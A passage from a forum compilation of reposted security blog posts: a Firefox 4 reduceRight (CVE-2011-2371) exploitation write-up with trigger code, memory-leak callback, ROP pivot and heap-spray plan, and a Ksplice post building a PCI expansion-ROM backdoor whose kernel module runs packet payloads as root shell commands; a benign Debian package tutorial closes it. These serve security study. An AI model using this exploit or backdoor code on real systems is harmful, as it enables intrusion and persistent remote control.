sufficient to prevent pre-initialization of window system class data. Sursa: MS10-073: Windows Class Handling Gone Wrong | !pool @eax

[h=2]Exploiting CVE-2011-2371 (FF reduceRight) without non-ASLR modules[/h]22/02/2012 p_k CVE-2011-2371 (found by Chris Rohlf and Yan Ivnitskiy) is a bug in Firefox versions <= 4.0.1. It has an interesting property of being a code-exec and an info-leak bug at the same time. Unfortunately, all public exploits targeting this vulnerability rely on non-ASLR modules (like those present in Java). In this post I’ll show how to exploit this vulnerability on Firefox 4.0.1/Window 7, by leaking imagebase of one of Firefox’s modules, thus circumventing ASLR without any additional dependencies. [h=2]The bug[/h] You can see the original bug report with detailed analysis here. To make a long story short, this is the trigger: xyz = new Array; xyz.length = 0x80100000; a = function foo(prev, current, index, array) { current[0] = 0x41424344; } xyz.reduceRight(a,1,2,3); Executing it crashes Firefox: eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208 eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mozjs!JS_FreeArenaPool+0x15e1: 004f0be1 8b14c8 mov edx,dword ptr [eax+ecx*8] ds:0023:04d4f228=?????? eax holds a pointer to “xyz” array and ecx is equal to xyz.length-1. reduceRight visits all elements of given array in reverse order, so if the read @ 004f0be1 succeeds and we won’t crash inside the callback function (foo), JS interpreter will loop the above code with decreasing values in ecx. Value read @ 004f0be1 is passed to foo() as the “current” argument. This means we can trick the JS interpreter into passing random stuff from heap to our javascript callback. Notice we fully control the array’s length, and since ecx is multiplied by 8 (bitshifted left by 3 bits), we can access memory before of after the array, by setting/clearing the 29th bit of length. Neat . During reduceRight(), the interpreter expects jsval_layout unions: http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 274 typedef union jsval_layout 275 { 276 uint64 asBits; 277 struct { 278 union { 279 int32 i32; 280 uint32 u32; 281 JSBool boo; 282 JSString *str; 283 JSObject *obj; 284 void *ptr; 285 JSWhyMagic why; 286 jsuword word; 287 } payload; 288 JSValueTag tag; 289 } s; 290 double asDouble; 291 void *asPtr; 292 } jsval_layout; To be more specific, we are interested in the “payload” struct. Possible values for “tag” are: http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 92 JS_ENUM_HEADER(JSValueType, uint8) 93 { 94 JSVAL_TYPE_DOUBLE = 0x00, 95 JSVAL_TYPE_INT32 = 0x01, 96 JSVAL_TYPE_UNDEFINED = 0x02, 97 JSVAL_TYPE_BOOLEAN = 0x03, 98 JSVAL_TYPE_MAGIC = 0x04, 99 JSVAL_TYPE_STRING = 0x05, 100 JSVAL_TYPE_NULL = 0x06, 101 JSVAL_TYPE_OBJECT = 0x07, ... 119 JS_ENUM_HEADER(JSValueTag, uint32) 120 { 121 JSVAL_TAG_CLEAR = 0xFFFF0000, 122 JSVAL_TAG_INT32 = JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32, 123 JSVAL_TAG_UNDEFINED = JSVAL_TAG_CLEAR | JSVAL_TYPE_UNDEFINED, 124 JSVAL_TAG_STRING = JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING, 125 JSVAL_TAG_BOOLEAN = JSVAL_TAG_CLEAR | JSVAL_TYPE_BOOLEAN, 126 JSVAL_TAG_MAGIC = JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC, 127 JSVAL_TAG_NULL = JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL, 128 JSVAL_TAG_OBJECT = JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT 129 } JS_ENUM_FOOTER(JSValueTag); Does it mean we can only read first dwords of pairs (d1,d2), where d2=JSVAL_TAG_INT32 or d2=JSVAL_TYPE_DOUBLE? Fortunately for us, no. Observe how the interpreter checks if a jsval_layout is a number: http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 405 static JS_ALWAYS_INLINE JSBool 406 JSVAL_IS_NUMBER_IMPL(jsval_layout l) 407 { 408 JSValueTag tag = l.s.tag; 409 JS_ASSERT(tag != JSVAL_TAG_CLEAR); 410 return (uint32)tag <= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET; So any pair of dwords (d1, d2), with d2<=JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (which is equal to JSVAL_TAG_INT32) is interpreted as a number. This isn’t the end of good news, check how doubles are recognized: http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h 369 static JS_ALWAYS_INLINE JSBool 370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l) 371 { 372 return (uint32)l.s.tag <= (uint32)JSVAL_TAG_CLEAR; 373 } This means that any pair (d1,d2) with d2<=0xffff0000 is interpreted as a double-precision floating point number. It’s a clever way of saving space, since doubles with all bits of the exponent set and nonzero mantissa are NaNs anyway, so rejecting doubles greater than 0xffff 0000 0000 0000 0000 isn’t really a problem — we are just throwing out NaNs. [h=2]Leaking the image base[/h] Knowing that most of values read off the heap are interpreted as doubles in our javascript callback (function foo above), we can use a library like JSPack to decode them to byte sequences. var leak_func = function bleh(prev, current, index, array) { if(typeof current == "number"){ mem.push(current); //decode with JSPack later } count += 1; if(count>=CHUNK_SIZE/8){ throw "lol"; //stop dumping } } Notice that we are verifying the type of “current”. It’s necessary because if we encounter a jsval_value of type OBJECT, manipulating it later will cause an undesired crash. Having a chunk of memory, we still need to comb it for values revealing the image base of mozjs.dll (that’s the module implementing reduceRight). Good candidates are pointers to functions in .code section, or pointers to data structures in .data, but how to find them? After all, they change with every run, because of varying image base. By examining dumped memory manually, I noticed it’s always possible to find a pair of pointers (with fixed RVAs) to .data section, differing by a constant (0×304), so a simple algorithm is to sequentially scan pairs of dwords, check if their difference is 0×304 and use their (known) RVAs to calculate mozjs’ image base (image_base = ptr_va – ptr_rva). It’s a heuristic, but it works 100% of the time . [h=2]Taking control[/h] Assume we are able to pass a controlled jsval_layout with tag=JSVAL_TYPE_OBJECT to our JS callback. Here’s what happens after executing “current[0]=1? if the “payload.ptr” field points to an area filled with \x88: eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888 eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0 ov up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010a06 mozjs!js::mjit::stubs::SetElem$lt;0>+0xf9: 655301a9 8b4764 mov eax,dword ptr [edi+64h] ds:002b:888888ec=???????? 0:000> k ChildEBP RetAddr 0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567] 0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619] 0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857] 0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932] We are using \x88 as a filler, so that every pointer taken from that area is equal to 0×88888888. Since the highest bit is set (and the pointer points to kernel space), every dereference will cause a crash and we will notice it under a debugger. Using low values, like 0x0c, as a filler during exploit development can make us miss crashes, if 0x0c0c0c0c happens to be mapped . It seems like we can control the value of edi. Let’s see if it’s of any use: 0:000> u eip l10 mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]: 655301a9 8b4764 mov eax,dword ptr [edi+64h] 655301ac 85c0 test eax,eax 655301ae 7505 jne mozjs!js::mjit::stubs::SetElem<0>+0x105 (655301b5) 655301b0 b830bb4965 mov eax,offset mozjs!js_SetProperty (6549bb30) 655301b5 8b54241c mov edx,dword ptr [esp+1Ch] 655301b9 6a00 push 0 655301bb 8d4c2424 lea ecx,[esp+24h] 655301bf 51 push ecx 655301c0 53 push ebx 655301c1 55 push ebp 655301c2 52 push edx 655301c3 ffd0 call eax 655301c5 83c414 add esp,14h 655301c8 85c0 test eax,eax That’s exactly what we need — value from [edi+64h] (edi is controlled) is a function pointer called @ 655301c3. Where does edi value come from? 0:000> u eip-72 l10 mozjs!js::mjit::stubs::SetElem<0>+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]: 65530137 8b7d04 mov edi,dword ptr [ebp+4] 6553013a 81ffb05f5e65 cmp edi,offset mozjs!js_ArrayClass (655e5fb0) 65530140 8b5c2414 mov ebx,dword ptr [esp+14h] 65530144 7563 jne mozjs!js::mjit::stubs::SetElem<0>+0xf9 (655301a9) edi=[ebp+4], where ebp is equal to payload.ptr in our jsval_layout union. It’s now easy to see how to control EIP. Trigger setElem on a controlled jsval_layout union (by executing “current[0]=1? in the JS callback of reduceRight), with tag=JSVAL_TYPE_OBJECT, and ptr=PTR_TO_CONTROLLED_MEM, where [CONTROLLED_MEM+4]=NEW_EIP. Easy . Since ASLR is not an issue (we already have mozjs’ image base) we can circumvent DEP with return oriented programming. With mona.py it’s very easy to generate a ROP chain that will allocate a RWX memory chunk. From that chunk, we can run our “normal” shellcode, without worrying about DEP. !mona rop -m "mozjs" -rva “-m” restricts search to just mozjs.dll (that’s the only module with known image base) “-rva” generates a chain parametrized by module’s image base. I won’t paste the output, but mona is able to find a chain that uses VirtualAlloc to change memory permissions to RWX. There’s only one problem. In order to use that chain, we need to control the stack. During the call @ 655301c3, we don’t. Fortunately, we do control EBP, which is equal to layout.ptr field in our fake object. First idea is to use any function’s epilogue: mov esp, ebp pop ebp ret as a pivot, but notice that RET will transfer control to an address stored in [ebp+4], and since: 65530137 8b7d04 mov edi,dword ptr [ebp+4] that would mean [ebp+4] has to be a return address and a pointer to a function pointer called later @ 655301c3. We have to modify EBP before copying it to ESP. Noticing that during SetElem, property’s id is passed in EBX as 2*id+1 (when executing “current[id] = …”), it’s easy to pick a good gadget: // 0x68e7a21c, mozjs.dll // found with mona.py ADD EBP,EBX PUSH DS POP EDI POP ESI POP EBX MOV ESP,EBP //(1) POP EBP //(2) RETN This will offset EBP by a controlled ODD value. Unicode chars in JS have two byte chars, so it’s better to have EBP aligned to 2. We can realign ESP by pivoting again with new EBP value popped @ (2) and executing the same gadget from line (1). This is how our fake object has to look like: +------------+ | | 9 13 17 v------------+----------------------------------------------------------------------+ |pivot_va | ptr | 00,new_ebp,mov_esp_ebp,00 | new_ebp2 | ROP ... normal shellcode ... +-----------------------+-----------------------------------------------------------+ 0 4 8 | 18 22 | ^ | | +-------------------+ pivot_va – address of the gadget above new_ebp – value popped at (2) used to realign the stack to 2 mov_esp_ebp – address of (1) new_ebp2 – new value of EBP after executing (2) for the second time, not used ROP – generated ROP chain changing memory perms normal shellcode – message box shellcode by Skylined [h=2]Spraying[/h] Here’s a nice diagram (asciiflow FTW) describing how we are going to arrange (or attempt to arrange) things in memory: low addresses +---------------------+ +-------+ ptr | 0xffff0007 | ^ | +---------------------| | | | | | | | . | | | | . | | | | . | | | +---------------------| | half1 | +----+ ptr | 0xffff0007 | | | | +---------------------| | | | | . | | | | | . | | | | | . | | | | | | v | | +-----end of half1----+ | | | | ^ | | | | | | | | | | margin of | | | . | | error | | | . | | | | +---------------------+ v +--|---> fake object | | +--^------------------+ | | | . | | | | . | +-----+ | | | | | +---------------------+ high addresses Our spray will consist of two regions. First one will be filled with jsval_layout unions, with tag=0xffff0007 (JSVAL_TYPE_OBJECT) and ptr pointing to the second region, filled with fake objects described above. If you run the PoC exploit on Windows XP, this is how (most likely) the heap is going to look like: Zooming into of the 1MB chunks: Notice how our payload is aligned to 4KB boundary. This is because of how the spray is implemented: unicode strings are stored in an array. Beginning of the array is used to store metadata, and the actual data starts @ +4KB. It’s also useful to note that older versions of FF have a bug related to rounding allocation sizes and, in effect, allocating too much memory for objects (including strings), so instead of nicely aligned strings in array, we will get strings interleaved with chunks containing NULL bytes (I’ll explain why this isn’t a problem in a sec.). This is how the fake objects from the second part of spray look like: Four NOPs at the bottom mark the end of mona’s ROP chain. [h=2]Putting it all together[/h] Leak mozjs’ image base, as described above. Spray the heap with JS, as described above. Note where the spray starts in memory, across different OSes. Different versions of the exploit should use OS-specific constants for calculating array’s length used in reduceRight(). Calculate the length of the array (xyz in the trigger PoC) so that the first dereference should happen in the middle of first half of the spray. Aiming at the middle gives us the biggest possible margin of error — if the spray’s starting address deviates from expected value by less than size/2, it shouldn’t affect our exploit. Trigger the bug. Inside JS callback, trigger SetElem, by executing “current[4]=1?. In case of a JS exception (TypeError: current is undefined), change array’s length and continue. These exceptions are caused by NULL areas between strings. Encountering them isn’t fatal, because the JS interpreter sees them as “undefined” values and throws us a JS exception, instead of crashing . See a nice messagebox, confirming success [h=2]Limitations[/h] PoC exploit assumes (like all other public exploits for this bug) that the heap is not polluted by previous allocations. This is a bit unrealistic, because the most common “use-case” is that the victim clicks a link leading to the exploit, meaning the browser is already running and most likely has many tabs already opened. In that situation our spray probably won’t be a continuous chunk of memory, which will lead to problems (crashes). Assuming that the PoC is the first and only page opened in Firefox, probability of success (running shellcode) depends on how long we need to search for mozjs’ image base. The longer it takes, the more trash gets accumulated on the heap, resulting in more “discontinuities” in the spray region. Get the PoC here. Sursa: Exploiting CVE-2011-2371 (FF reduceRight) without non-ASLR modules | GDTR

[h=3]Hosting backdoors in hardware[/h]By Ksplice Post Importer on Oct 26, 2010 Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors? In some cases, that may not be enough. In this blog post, we're going to describe how we can gain full control of someone's machine by giving them a piece of hardware which they install into their computer. The backdoor won't leave any trace on the disk, so it won't be eliminated even if the operating system is reinstalled. It's important to note that our ability to do this does not depend on exploiting any bugs in the operating system or other software; our hardware-based backdoor would work even if all the software on the system worked perfectly as designed. I'll let you figure out the social engineering side of getting the hardware installed (birthday "present"?), and instead focus on some of the technical details involved. Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We're going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it's mainly just a matter of engineering effort to support a wide range of kernels. [h=3]Modifying the kernel with a kernel module[/h] The easiest way to modify the behavior of our kernel is by loading a kernel module. Let's start by writing a module that will allow us to remotely control a machine. IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We're going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we'll execute its data payload in a shell running as root. This will give us complete remote control of the machine. The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this: int exec_packet(struct sk_buff *skb) { char *argv[4] = {"/bin/sh", "-c", skb->data, NULL}; char *envp[1] = {NULL}; call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT); kfree_skb(skb); return 0; } We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded: const struct net_protocol proto163_protocol = { .handler = exec_packet, .no_policy = 1, .netns_ok = 1 }; int init_module(void) { return (inet_add_protocol(&proto163_protocol, 163) < 0); } Let's build and load the module: rwbarton@target:~$ make make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic' CC [M] /home/rwbarton/exec163.o Building modules, stage 2. MODPOST 1 modules CC /home/rwbarton/exec163.mod.o LD [M] /home/rwbarton/exec163.ko make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic' rwbarton@target:~$ sudo insmod exec163.ko Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine: rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip rwbarton@target:~$ ls -l /tmp/x -rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x Great! It worked. Note that we have to send a null-terminated string in the payload, because that's what call_usermodehelper expects to find in argv and we didn't add a terminator in exec_packet. [h=3]Modifying the on-disk kernel[/h] In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we're just going to give a high-level overview of what needs to be done. The kernel lives in the /boot directory; on my test system, it's called /boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We're going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section. When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us: it allocated kernel memory to store our kernel module, including both code (the exec_packet function) and data (proto163_protocol and the string constants in exec_packet) sections; it performed relocations, so that, for example, exec_packet knows the addresses of the kernel functions it needs to call such as kfree_skb, as well as the addresses of its string constants; it ran our init_module function. We have to address each of these points in figuring out how to apply our changes without making use of the module loader. The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel's startup function to install a pointer to our proto163_protocol in inet_protos[163], since we have an exact copy of its code. The first point is a little tricky. Normally, we would call kmalloc to allocate some memory to store our module's code and data, but we need to make our changes before the kernel has started running, so the memory allocator won't be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call kmalloc, but we'd still have to find somewhere to store that extra code. What we're going to do is cheat and find some data which isn't used for anything terribly important, and overwrite it with our own data. In general, it's hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it's unlikely to ever be triggered. We'll need well under 180 bytes for our data, so let's look for strings in the kernel image which are at least that long: rwbarton@target:~$ strings vmlinux | egrep '^.{180}' | less One of the output lines is this one: <4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file. This sounds pretty obscure to me, and a Google search doesn't find any occurrences of this message which aren't from the kernel source code. So, we're going to just overwrite it with our data. Having worked out what changes need to be applied to the decompressed kernel, we can modify the vmlinuz file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don't expect the decompression to fail, because we didn't modify the compressed image at all. So we'll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in vmlinuz that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that jmp instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel. [h=3]Modifying the kernel during the boot process[/h] Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that? The PCI specification defines a "expansion ROM" mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process. When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record. On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the /boot/vmlinuz-2.6.32-24-generic image from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the int 0x13 instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt 0x13 points to the BIOS code handling hard drive IO. Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we'll do in the expansion ROM code is overwrite the entry for interrupt 0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn't know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we're going to make the int 0x13 handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of /boot/vmlinuz-2.6.32-24-generic that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that's just been read by inspecting the first few bytes of the sector. Then we return from our custom int 0x13 handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it. In summary, the boot process of the system with our PCI card inserted looks like this: The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table. The BIOS runs our expansion ROM code, which hooks the int 0x13 handler so that it will apply our patch to the vmlinuz file when it is read off the disk. The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB. GRUB reads the vmlinuz file from the disk, but our custom int 0x13 handler applies our patches to the kernel before returning. GRUB jumps to the vmlinuz entry point, which decompresses the kernel image. Our modifications to vmlinuz cause it to overwrite a string constant with our exec_packet function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in inet_protos[163]. The startup code of the decompressed kernel runs and installs our handler in inet_protos[163]. The kernel continues to boot normally. We can now control the machine remotely over the Internet by sending it packets with protocol number 163. One neat thing about this setup is that it's not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all. What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn't realistically worry about installing commodity hardware from reputable vendors. After all, you're already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware. ~rwbarton Sursa: https://blogs.oracle.com/ksplice/entry/hosting_backdoors_in_hardware

[h=3]Anatomy of a Debian package[/h][h=4]By Ksplice Post Importer on Oct 06, 2010[/h]Ever wondered what a .deb file actually is? How is it put together, and what's inside it, besides the data that is installed to your system when you install the package? Today we're going to break out our sysadmin's toolbox and find out. (While we could just turn to deb(5), that would ruin the fun.) You'll need a Debian-based system to play along. Ubuntu and other derivatives should work just fine. [h=3]Finding a file to look at[/h] Whenever APT downloads a package to install, it saves it in a package cache, located in /var/cache/apt/archives/. We can poke around in this directory to find a package to look at. spang@sencha:~> cd /var/cache/apt/archives spang@sencha:/var/cache/apt/archives> spang@sencha:/var/cache/apt/archives> ls apache2-utils_2.2.16-2_amd64.deb app-install-data_2010.08.21_all.deb apt_0.8.0_amd64.deb apt_0.8.5_amd64.deb aptitude_0.6.3-3.1_amd64.deb ... nano, the text editor, ought to be a simple package. Let's take a look at that one. spang@sencha:/var/cache/apt/archives> cp nano_2.2.5-1_amd64.deb ~/tmp/blog spang@sencha:/var/cache/apt/archives> cd ~/tmp/blogapt debian dpkg package-management [h=3]Digging in[/h] Let's see what we can figure out about this file. The file command is a nifty tool that tries to figure out what kind of data a file contains. spang@sencha:~/tmp/blog> file --raw --keep-going nano_2.2.5-1_amd64.deb nano_2.2.5-1_amd64.deb: Debian binary package (format 2.0) - current ar archive - archive file Hmm, so file, which identifies filetypes by performing tests on them (rather than by looking at the file extension or something else cosmetic), must have a special test that identifies Debian packages. Since we passed the command the --keep-going option, though, it continued on to find other tests that match against the file, which is useful because these later matches are less specific, and in our case they tell us what a "Debian binary package" actually is under the hood—an "ar" archive! [h=3]Aside: a little bit of history[/h] Back in the day, in 1995 and before, Debian packages used to use their own ad-hoc archive format. These days, you can find that old format documented in deb-old(5). The new format was added to be "saner and more extensible" than the original. You can still find binaries in the old format on archive.debian.org. You'll see that file tells us that these debs are different; it doesn't know how to identify them in a more specific way than "a bunch of bits": spang@sencha:~/tmp/blog> file --raw --keep-going adduser-1.94-1.deb adduser-1.94-1.deb: data Now we can crack open the deb using the ar utility to see what's inside. [h=3]Inside the box[/h] ar takes an operation code and modifier flags and the archive to act upon as its arguments. The x operation tells it to extract files, and the v modifier tells it to be verbose. spang@sencha:~/tmp/blog> ar vx nano_2.2.5-1_amd64.deb x - debian-binary x - control.tar.gz x - data.tar.gz So, we have three files. [h=4]debian-binary[/h] spang@sencha:~/tmp/blog> cat debian-binary 2.0 This is just the version number of the binary package format being used, so tools know what they're dealing with and can modify their behaviour accordingly. One of file's tests uses the string in this file to add the package format to its output, as we saw earlier. [h=4]control.tar.gz[/h] spang@sencha:~/tmp/blog> tar xzvf control.tar.gz ./ ./postinst ./control ./conffiles ./prerm ./postrm ./preinst ./md5sums These control files are used by the tools that work with the package and install it to the system—mostly dpkg. [h=5]control[/h] spang@sencha:~/tmp/blog> cat control Package: nano Version: 2.2.5-1 Architecture: amd64 Maintainer: Jordi Mallach Installed-Size: 1824 Depends: libc6 (>= 2.3.4), libncursesw5 (>= 5.7+20100313), dpkg (>= 1.15.4) | install-info Suggests: spell Conflicts: pico Breaks: alpine-pico (<= 2.00+dfsg-5) Replaces: pico Provides: editor Section: editors Priority: important Homepage: http://www.nano-editor.org/ Description: small, friendly text editor inspired by Pico GNU nano is an easy-to-use text editor originally designed as a replacement for Pico, the ncurses-based editor from the non-free mailer package Pine (itself now available under the Apache License as Alpine). . However, nano also implements many features missing in pico, including: - feature toggles; - interactive search and replace (with regular expression support); - go to line (and column) command; - auto-indentation and color syntax-highlighting; - filename tab-completion and support for multiple buffers; - full internationalization support. This file contains a lot of important metadata about the package. In this case, we have: its name its version number binary-specific information: which architecture it was built for, and how many bytes it takes up after it is installed its relationship to other packages (on the Depends, Suggests, Conflicts, Breaks, and Replaces lines) the person who is responsible for this package in Debian (the "maintainer") How the package is categorized in Debian as a whole: nano is in the "editors" section. A complete list of archive sections can be found here. A "priority" rating. "Important" means that the package "should be found on any Unix-like system". You'd be hard-pressed to find a Debian system without nano. a homepage a description which should provide enough information for an interested user to figure out whether or not she wants to install the package One line that takes a bit more explanation is the "Provides:" line. This means that nano, when installed, will not only count as having the nano package installed, but also as the editor package, which doesn't really exist—it is only provided by other packages. This way other packages which need a text editor can depend on "editor" and not have to worry about the fact that there are many different sufficient choices available. You can get most of this same information for installed packages and packages from your configured package repositories using the command aptitude show <packagename>, or dpkg --status <packagename> if the package is installed. [h=5]postinst, prerm, postrm, preinst[/h] These files are maintainer scripts. If you take a look at one, you'll see that it's just a shell script that is run at some point during the [un]installation process. spang@sencha:~/tmp/blog> cat preinst #!/bin/sh set -e if [ "$1" = "upgrade" ]; then if dpkg --compare-versions "$2" lt 1.2.4-2; then if [ ! -e /usr/man ]; then ln -s /usr/share/man /usr/man update-alternatives --remove editor /usr/bin/nano || RET=$? rm /usr/man if [ -n "$RET" ]; then exit $RET fi else update-alternatives --remove editor /usr/bin/nano fi fi fi More on the nitty-gritty of maintainer scripts can be found here. [h=5]conffiles[/h] spang@sencha:~/tmp/blog> cat conffiles /etc/nanorc Any configuration files for the package, generally found in /etc, are listed here, so that dpkg knows when to not blindly overwrite any local configuration changes you've made when upgrading the package. [h=5]md5sums[/h] This file contains checksums of each of the data files in the package so dpkg can make sure they weren't corrupted or tampered with. [h=4]data.tar.gz[/h] Here are the actual data files that will be added to your system's / when the package is installed. spang@sencha:~/tmp/blog> tar xzvf data.tar.gz ./ ./bin/ ./bin/nano ./usr/ ./usr/bin/ ./usr/share/ ./usr/share/doc/ ./usr/share/doc/nano/ ./usr/share/doc/nano/examples/ ./usr/share/doc/nano/examples/nanorc.sample.gz ./usr/share/doc/nano/THANKS ./usr/share/doc/nano/changelog.gz ./usr/share/doc/nano/BUGS.gz ./usr/share/doc/nano/TODO.gz ./usr/share/doc/nano/NEWS.gz ./usr/share/doc/nano/changelog.Debian.gz [...] ./etc/ ./etc/nanorc ./bin/rnano ./usr/bin/nano [h=3]Finishing up[/h] That's it! That's all there is inside a Debian package. Of course, no one building a package for Debian-based systems would do the reverse of what we just did, using raw tools like ar, tar, and gzip. Debian packages use a make-based build system, and learning how to build them using all the tools that have been developed for this purpose is a topic for another time. If you're interested, the new maintainer's guide is a decent place to start. And next time, if you need to take a look inside a .deb again, use the dpkg-deb utility: spang@sencha:~/tmp/blog> dpkg-deb --extract nano_2.2.5-1_amd64.deb datafiles spang@sencha:~/tmp/blog> dpkg-deb --control nano_2.2.5-1_amd64.deb controlfiles spang@sencha:~/tmp/blog> dpkg-deb --info nano_2.2.5-1_amd64.deb new debian package, version 2.0. size 566450 bytes: control archive= 3569 bytes. 12 bytes, 1 lines conffiles 1010 bytes, 26 lines control 5313 bytes, 80 lines md5sums 582 bytes, 19 lines * postinst #!/bin/sh 160 bytes, 5 lines * postrm #!/bin/sh 379 bytes, 20 lines * preinst #!/bin/sh 153 bytes, 10 lines * prerm #!/bin/sh Package: nano Version: 2.2.5-1 Architecture: amd64 Maintainer: Jordi Mallach Installed-Size: 1824 Depends: libc6 (>= 2.3.4), libncursesw5 (>= 5.7+20100313), dpkg (>= 1.15.4) | install-info Suggests: spell Conflicts: pico Breaks: alpine-pico (<= 2.00+dfsg-5) Replaces: pico Provides: editor Section: editors Priority: important Homepage: http://www.nano-editor.org/ Description: small, friendly text editor inspired by Pico GNU nano is an easy-to-use text editor originally 